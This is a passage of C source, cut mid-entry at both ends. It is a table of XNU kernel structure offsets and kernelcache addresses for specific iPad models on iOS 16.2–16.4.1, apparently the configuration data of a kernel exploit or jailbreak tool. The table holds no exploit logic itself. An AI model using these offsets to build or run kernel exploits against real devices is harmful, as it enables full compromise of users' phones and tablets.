.kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x378 - 0x18,\n        .thread__task_threads__prev = 0x378 - 0x18 + 8,\n        .thread__map = 0x378,\n        .thread__thread_id = 0x410,\n        .thread__object_size = 0x4b8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a361208,\n        .kernelcache__gPhysBase = 0xfffffff007927ed0,\n        .kernelcache__gPhysSize = 0xfffffff007927ed0 + 8,\n        .kernelcache__gVirtBase = 0xfffffff0079260a8,\n        .kernelcache__perfmon_devices = 0xfffffff00a39f4f0,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ed73c8,\n        .kernelcache__ptov_table = 0xfffffff0078db178,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a39e990,\n        .kernelcache__vm_pages = 0xfffffff0078d7eb0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078da118,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a39e988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f25f7c,\n    },\n    // iOS 16.4.1\n    {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:25 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8030\",\n        .build_version = \"20E252\",\n        .device_id = \"iPad12,1\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x378 - 0x18,\n        .thread__task_threads__prev = 0x378 - 0x18 + 8,\n        .thread__map = 0x378,\n        .thread__thread_id = 0x410,\n        .thread__object_size = 0x4b8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a361208,\n        .kernelcache__gPhysBase = 0xfffffff007927ed0,\n        .kernelcache__gPhysSize = 0xfffffff007927ed0 + 8,\n        .kernelcache__gVirtBase = 0xfffffff0079260a8,\n        .kernelcache__perfmon_devices = 0xfffffff00a39f4f0,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ed73c8,\n        .kernelcache__ptov_table = 0xfffffff0078db178,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a39e990,\n        .kernelcache__vm_pages = 0xfffffff0078d7eb0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078da118,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a39e988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f25f7c,\n    },\n    \n    // iPad 9th Gen Cellular //\n    // iOS 16.4\n    {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:25 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8030\",\n        .build_version = \"20E246\",\n        .device_id = \"iPad12,2\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x378 - 0x18,\n        .thread__task_threads__prev = 0x378 - 0x18 + 8,\n        .thread__map = 0x378,\n        .thread__thread_id = 0x410,\n        .thread__object_size = 0x4b8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a361208,\n        .kernelcache__gPhysBase = 0xfffffff007927ed0,\n        .kernelcache__gPhysSize = 0xfffffff007927ed0 + 8,\n        .kernelcache__gVirtBase = 0xfffffff0079260a8,\n        .kernelcache__perfmon_devices = 0xfffffff00a39f4f0,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ed73c8,\n        .kernelcache__ptov_table = 0xfffffff0078db178,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a39e990,\n        .kernelcache__vm_pages = 0xfffffff0078d7eb0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078da118,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a39e988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f25f7c,\n    },\n    // iOS 16.4.1\n    {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:25 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8030\",\n        .build_version = \"20E252\",\n        .device_id = \"iPad12,2\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x378 - 0x18,\n        .thread__task_threads__prev = 0x378 - 0x18 + 8,\n        .thread__map = 0x378,\n        .thread__thread_id = 0x410,\n        .thread__object_size = 0x4b8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a361208,\n        .kernelcache__gPhysBase = 0xfffffff007927ed0,\n        .kernelcache__gPhysSize = 0xfffffff007927ed0 + 8,\n        .kernelcache__gVirtBase = 0xfffffff0079260a8,\n        .kernelcache__perfmon_devices = 0xfffffff00a39f4f0,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ed73c8,\n        .kernelcache__ptov_table = 0xfffffff0078db178,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a39e990,\n        .kernelcache__vm_pages = 0xfffffff0078d7eb0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078da118,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a39e988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f25f7c,\n    },\n    \n  // iPad Mini 5th Gen Wifi//\n  // iOS 16.2\n      {\n          .kern_version = \"Darwin Kernel Version 22.2.0: Mon Nov 28 20:10:15 PST 2022; root:xnu-8792.62.2~1/RELEASE_ARM64_T8020\",\n          .build_version = \"20C65\",\n          .device_id = \"iPad11,1\",\n          .fileglob__fg_ops = 0x28,\n          .fileglob__fg_data = 0x40 - 8,\n          .fileops__fo_kqfilter = 0x30,\n          // .fileproc__fp_iocount = 0x0000,\n          // .fileproc__fp_vflags = 0x0004,\n          // .fileproc__fp_flags = 0x0008,\n          // .fileproc__fp_guard_attrs = 0x000a,\n          // .fileproc__fp_glob = 0x0010,\n          // .fileproc__fp_guard = 0x0018,\n          // .fileproc__object_size = 0x0020,\n          .fileproc_guard__fpg_guard = 0x8,\n          .kqworkloop__kqwl_state = 0x10,\n          .kqworkloop__kqwl_p = 0x18,\n          .kqworkloop__kqwl_owner = 0xd0,\n          .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n          .kqworkloop__object_size = 0x108,\n          .pmap__tte = 0x0,\n          .pmap__ttep = 0x8,\n          .proc__p_list__le_next = 0x0,\n          .proc__p_list__le_prev = 0x8,\n          .proc__p_pid = 0x60,\n          .proc__p_fd__fd_ofiles = 0xf8,\n          .proc__object_size = 0x538,\n          .pseminfo__psem_usecount = 0x04,\n          .pseminfo__psem_uid = 0x0c,\n          .pseminfo__psem_gid = 0x10,\n          .pseminfo__psem_name = 0x14,\n          .pseminfo__psem_semobject = 0x38,\n          // .psemnode__pinfo = 0x0000,\n          // .psemnode__padding = 0x0008,\n          // .psemnode__object_size = 0x0010,\n          .semaphore__owner = 0x28,\n          .specinfo__si_rdev = 0x18,\n          .task__map = 0x28,\n          .task__threads__next = 0x80 - 0x28,\n          .task__threads__prev = 0x80 - 0x28 + 8,\n          .task__itk_space = 0x300,\n          .task__object_size = 0x628,\n          .thread__task_threads__next = 0x368 - 0x18,\n          .thread__task_threads__prev = 0x368 - 0x18 + 8,\n          .thread__map = 0x368,\n          .thread__thread_id = 0x400,\n          .thread__object_size = 0x4a8,\n          .uthread__object_size = 0x200,\n          .vm_map_entry__links__prev = 0x00,\n          .vm_map_entry__links__next = 0x08,\n          .vm_map_entry__links__start = 0x10,\n          .vm_map_entry__links__end = 0x18,\n          .vm_map_entry__store__entry__rbe_left = 0x20,\n          .vm_map_entry__store__entry__rbe_right = 0x28,\n          .vm_map_entry__store__entry__rbe_parent = 0x30,\n          .vnode__v_un__vu_specinfo = 0x78,\n          ._vm_map__hdr__links__prev = 0x00 + 0x8,\n          ._vm_map__hdr__links__next = 0x08 + 0x8,\n          ._vm_map__hdr__links__start = 0x10 + 0x8,\n          ._vm_map__hdr__links__end = 0x18 + 0x8,\n          ._vm_map__hdr__nentries = 0x30,\n          ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n          ._vm_map__pmap = 0x40,\n          ._vm_map__hint = 0x90 + 0x08,\n          ._vm_map__hole_hint = 0x90 + 0x10,\n          ._vm_map__holes_list = 0x90 + 0x18,\n          ._vm_map__object_size = 0xc0,\n          .kernelcache__kernel_base = 0xfffffff007004000,\n          .kernelcache__cdevsw = 0xfffffff00a225178,\n          .kernelcache__gPhysBase = 0xfffffff00781bc60,\n          .kernelcache__gPhysSize = 0xfffffff00781bc60 + 8,\n          .kernelcache__gVirtBase = 0xfffffff007819e40,\n          .kernelcache__perfmon_devices = 0xfffffff00a260380,\n          .kernelcache__perfmon_dev_open = 0xfffffff007e873ac,\n          .kernelcache__ptov_table = 0xfffffff0077cf248,\n          .kernelcache__vm_first_phys_ppnum = 0xfffffff00a25f800,\n          .kernelcache__vm_pages = 0xfffffff0077cc080,\n          .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077ce208,\n          .kernelcache__vm_page_array_ending_addr = 0xfffffff00a25f7f8,\n          .kernelcache__vn_kqfilter = 0xfffffff007ed9a44,\n      },\n\n      // iOS 16.3\n          {\n          .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:51 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8020\",\n          .build_version = \"20D47\",\n          .device_id = \"iPad11,1\",\n          .fileglob__fg_ops = 0x28,\n          .fileglob__fg_data = 0x40 - 8,\n          .fileops__fo_kqfilter = 0x30,\n          // .fileproc__fp_iocount = 0x0000,\n          // .fileproc__fp_vflags = 0x0004,\n          // .fileproc__fp_flags = 0x0008,\n          // .fileproc__fp_guard_attrs = 0x000a,\n          // .fileproc__fp_glob = 0x0010,\n          // .fileproc__fp_guard = 0x0018,\n          // .fileproc__object_size = 0x0020,\n          .fileproc_guard__fpg_guard = 0x8,\n          .kqworkloop__kqwl_state = 0x10,\n          .kqworkloop__kqwl_p = 0x18,\n          .kqworkloop__kqwl_owner = 0xd0,\n          .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n          .kqworkloop__object_size = 0x108,\n          .pmap__tte = 0x0,\n          .pmap__ttep = 0x8,\n          .proc__p_list__le_next = 0x0,\n          .proc__p_list__le_prev = 0x8,\n          .proc__p_pid = 0x60,\n          .proc__p_fd__fd_ofiles = 0xf8,\n          .proc__object_size = 0x538,\n          .pseminfo__psem_usecount = 0x04,\n          .pseminfo__psem_uid = 0x0c,\n          .pseminfo__psem_gid = 0x10,\n          .pseminfo__psem_name = 0x14,\n          .pseminfo__psem_semobject = 0x38,\n          // .psemnode__pinfo = 0x0000,\n          // .psemnode__padding = 0x0008,\n          // .psemnode__object_size = 0x0010,\n          .semaphore__owner = 0x28,\n          .specinfo__si_rdev = 0x18,\n          .task__map = 0x28,\n          .task__threads__next = 0x80 - 0x28,\n          .task__threads__prev = 0x80 - 0x28 + 8,\n          .task__itk_space = 0x300,\n          .task__object_size = 0x628,\n          .thread__task_threads__next = 0x368 - 0x18,\n          .thread__task_threads__prev = 0x368 - 0x18 + 8,\n          .thread__map = 0x368,\n          .thread__thread_id = 0x400,\n          .thread__object_size = 0x4a8,\n          .uthread__object_size = 0x200,\n          .vm_map_entry__links__prev = 0x00,\n          .vm_map_entry__links__next = 0x08,\n          .vm_map_entry__links__start = 0x10,\n          .vm_map_entry__links__end = 0x18,\n          .vm_map_entry__store__entry__rbe_left = 0x20,\n          .vm_map_entry__store__entry__rbe_right = 0x28,\n          .vm_map_entry__store__entry__rbe_parent = 0x30,\n          .vnode__v_un__vu_specinfo = 0x78,\n          ._vm_map__hdr__links__prev = 0x00 + 0x8,\n          ._vm_map__hdr__links__next = 0x08 + 0x8,\n          ._vm_map__hdr__links__start = 0x10 + 0x8,\n          ._vm_map__hdr__links__end = 0x18 + 0x8,\n          ._vm_map__hdr__nentries = 0x30,\n          ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n          ._vm_map__pmap = 0x40,\n          ._vm_map__hint = 0x90 + 0x08,\n          ._vm_map__hole_hint = 0x90 + 0x10,\n          ._vm_map__holes_list = 0x90 + 0x18,\n          ._vm_map__object_size = 0xc0,\n          .kernelcache__kernel_base = 0xfffffff007004000,\n          .kernelcache__cdevsw = 0xfffffff00a22d178,\n          .kernelcache__gPhysBase = 0xfffffff00781bd48,\n          .kernelcache__gPhysSize = 0xfffffff00781bd48 + 8,\n          .kernelcache__gVirtBase = 0xfffffff007819f28,\n          .kernelcache__perfmon_devices = 0xfffffff00a268380,\n          .kernelcache__perfmon_dev_open = 0xfffffff007e8b398,\n          .kernelcache__ptov_table = 0xfffffff0077cf288,\n          .kernelcache__vm_first_phys_ppnum = 0xfffffff00a267800,\n          .kernelcache__vm_pages = 0xfffffff0077cc0c0,\n          .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077ce248,\n          .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2677f8,\n          .kernelcache__vn_kqfilter = 0xfffffff007edda20,\n      },\n\n      // iOS 16.3.1\n              {\n          .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:51 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8020\",\n          .build_version = \"20D67\",\n          .device_id = \"iPad11,1\",\n          .fileglob__fg_ops = 0x28,\n          .fileglob__fg_data = 0x40 - 8,\n          .fileops__fo_kqfilter = 0x30,\n          // .fileproc__fp_iocount = 0x0000,\n          // .fileproc__fp_vflags = 0x0004,\n          // .fileproc__fp_flags = 0x0008,\n          // .fileproc__fp_guard_attrs = 0x000a,\n          // .fileproc__fp_glob = 0x0010,\n          // .fileproc__fp_guard = 0x0018,\n          // .fileproc__object_size = 0x0020,\n          .fileproc_guard__fpg_guard = 0x8,\n          .kqworkloop__kqwl_state = 0x10,\n          .kqworkloop__kqwl_p = 0x18,\n          .kqworkloop__kqwl_owner = 0xd0,\n          .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n          .kqworkloop__object_size = 0x108,\n          .pmap__tte = 0x0,\n          .pmap__ttep = 0x8,\n          .proc__p_list__le_next = 0x0,\n          .proc__p_list__le_prev = 0x8,\n          .proc__p_pid = 0x60,\n          .proc__p_fd__fd_ofiles = 0xf8,\n          .proc__object_size = 0x538,\n          .pseminfo__psem_usecount = 0x04,\n          .pseminfo__psem_uid = 0x0c,\n          .pseminfo__psem_gid = 0x10,\n          .pseminfo__psem_name = 0x14,\n          .pseminfo__psem_semobject = 0x38,\n          // .psemnode__pinfo = 0x0000,\n          // .psemnode__padding = 0x0008,\n          // .psemnode__object_size = 0x0010,\n          .semaphore__owner = 0x28,\n          .specinfo__si_rdev = 0x18,\n          .task__map = 0x28,\n          .task__threads__next = 0x80 - 0x28,\n          .task__threads__prev = 0x80 - 0x28 + 8,\n          .task__itk_space = 0x300,\n          .task__object_size = 0x628,\n          .thread__task_threads__next = 0x368 - 0x18,\n          .thread__task_threads__prev = 0x368 - 0x18 + 8,\n          .thread__map = 0x368,\n          .thread__thread_id = 0x400,\n          .thread__object_size = 0x4a8,\n          .uthread__object_size = 0x200,\n          .vm_map_entry__links__prev = 0x00,\n          .vm_map_entry__links__next = 0x08,\n          .vm_map_entry__links__start = 0x10,\n          .vm_map_entry__links__end = 0x18,\n          .vm_map_entry__store__entry__rbe_left = 0x20,\n          .vm_map_entry__store__entry__rbe_right = 0x28,\n          .vm_map_entry__store__entry__rbe_parent = 0x30,\n          .vnode__v_un__vu_specinfo = 0x78,\n          ._vm_map__hdr__links__prev = 0x00 + 0x8,\n          ._vm_map__hdr__links__next = 0x08 + 0x8,\n          ._vm_map__hdr__links__start = 0x10 + 0x8,\n          ._vm_map__hdr__links__end = 0x18 + 0x8,\n          ._vm_map__hdr__nentries = 0x30,\n          ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n          ._vm_map__pmap = 0x40,\n          ._vm_map__hint = 0x90 + 0x08,\n          ._vm_map__hole_hint = 0x90 + 0x10,\n          ._vm_map__holes_list = 0x90 + 0x18,\n          ._vm_map__object_size = 0xc0,\n          .kernelcache__kernel_base = 0xfffffff007004000,\n          .kernelcache__cdevsw = 0xfffffff00a22d178,\n          .kernelcache__gPhysBase = 0xfffffff00781bd48,\n          .kernelcache__gPhysSize = 0xfffffff00781bd48 + 8,\n          .kernelcache__gVirtBase = 0xfffffff007819f28,\n          .kernelcache__perfmon_devices = 0xfffffff00a268380,\n          .kernelcache__perfmon_dev_open = 0xfffffff007e8b398,\n          .kernelcache__ptov_table = 0xfffffff0077cf288,\n          .kernelcache__vm_first_phys_ppnum = 0xfffffff00a267800,\n          .kernelcache__vm_pages = 0xfffffff0077cc0c0,\n          .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077ce248,\n          .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2677f8,\n          .kernelcache__vn_kqfilter = 0xfffffff007edda20,\n      },\n\n      // iOS 16.4\n          {\n          .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:48 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8020\",\n          .build_version = \"20E246\",\n          .device_id = \"iPad11,1\",\n          .fileglob__fg_ops = 0x28,\n          .fileglob__fg_data = 0x40 - 8,\n          .fileops__fo_kqfilter = 0x30,\n          // .fileproc__fp_iocount = 0x0000,\n          // .fileproc__fp_vflags = 0x0004,\n          // .fileproc__fp_flags = 0x0008,\n          // .fileproc__fp_guard_attrs = 0x000a,\n          // .fileproc__fp_glob = 0x0010,\n          // .fileproc__fp_guard = 0x0018,\n          // .fileproc__object_size = 0x0020,\n          .fileproc_guard__fpg_guard = 0x8,\n          .kqworkloop__kqwl_state = 0x10,\n          .kqworkloop__kqwl_p = 0x18,\n          .kqworkloop__kqwl_owner = 0xd0,\n          .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n          .kqworkloop__object_size = 0x108,\n          .pmap__tte = 0x0,\n          .pmap__ttep = 0x8,\n          .proc__p_list__le_next = 0x0,\n          .proc__p_list__le_prev = 0x8,\n          .proc__p_pid = 0x60,\n          .proc__p_fd__fd_ofiles = 0xf8,\n          .proc__object_size = 0x730,\n          .pseminfo__psem_usecount = 0x04,\n          .pseminfo__psem_uid = 0x0c,\n          .pseminfo__psem_gid = 0x10,\n          .pseminfo__psem_name = 0x14,\n          .pseminfo__psem_semobject = 0x38,\n          // .psemnode__pinfo = 0x0000,\n          // .psemnode__padding = 0x0008,\n          // .psemnode__object_size = 0x0010,\n          .semaphore__owner = 0x28,\n          .specinfo__si_rdev = 0x18,\n          .task__map = 0x28,\n          .task__threads__next = 0x80 - 0x28,\n          .task__threads__prev = 0x80 - 0x28 + 8,\n          .task__itk_space = 0x300,\n          .task__object_size = 0x628,\n          .thread__task_threads__next = 0x368 - 0x18,\n          .thread__task_threads__prev = 0x368 - 0x18 + 8,\n          .thread__map = 0x368,\n          .thread__thread_id = 0x400,\n          .thread__object_size = 0x4a8,\n          .uthread__object_size = 0x200,\n          .vm_map_entry__links__prev = 0x00,\n          .vm_map_entry__links__next = 0x08,\n          .vm_map_entry__links__start = 0x10,\n          .vm_map_entry__links__end = 0x18,\n          .vm_map_entry__store__entry__rbe_left = 0x20,\n          .vm_map_entry__store__entry__rbe_right = 0x28,\n          .vm_map_entry__store__entry__rbe_parent = 0x30,\n          .vnode__v_un__vu_specinfo = 0x78,\n          ._vm_map__hdr__links__prev = 0x00 + 0x8,\n          ._vm_map__hdr__links__next = 0x08 + 0x8,\n          ._vm_map__hdr__links__start = 0x10 + 0x8,\n          ._vm_map__hdr__links__end = 0x18 + 0x8,\n          ._vm_map__hdr__nentries = 0x30,\n          ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n          ._vm_map__pmap = 0x40,\n          ._vm_map__hint = 0x90 + 0x08,\n          ._vm_map__hole_hint = 0x90 + 0x10,\n          ._vm_map__holes_list = 0x90 + 0x18,\n          ._vm_map__object_size = 0xc0,\n          .kernelcache__kernel_base = 0xfffffff007004000,\n          .kernelcache__cdevsw = 0xfffffff00a2e9208,\n          .kernelcache__gPhysBase = 0xfffffff0078f3fa0,\n          .kernelcache__gPhysSize = 0xfffffff0078f3fa0 + 8,\n          .kernelcache__gVirtBase = 0xfffffff0078f2178,\n          .kernelcache__perfmon_devices = 0xfffffff00a327500,\n          .kernelcache__perfmon_dev_open = 0xfffffff007ea5a88,\n          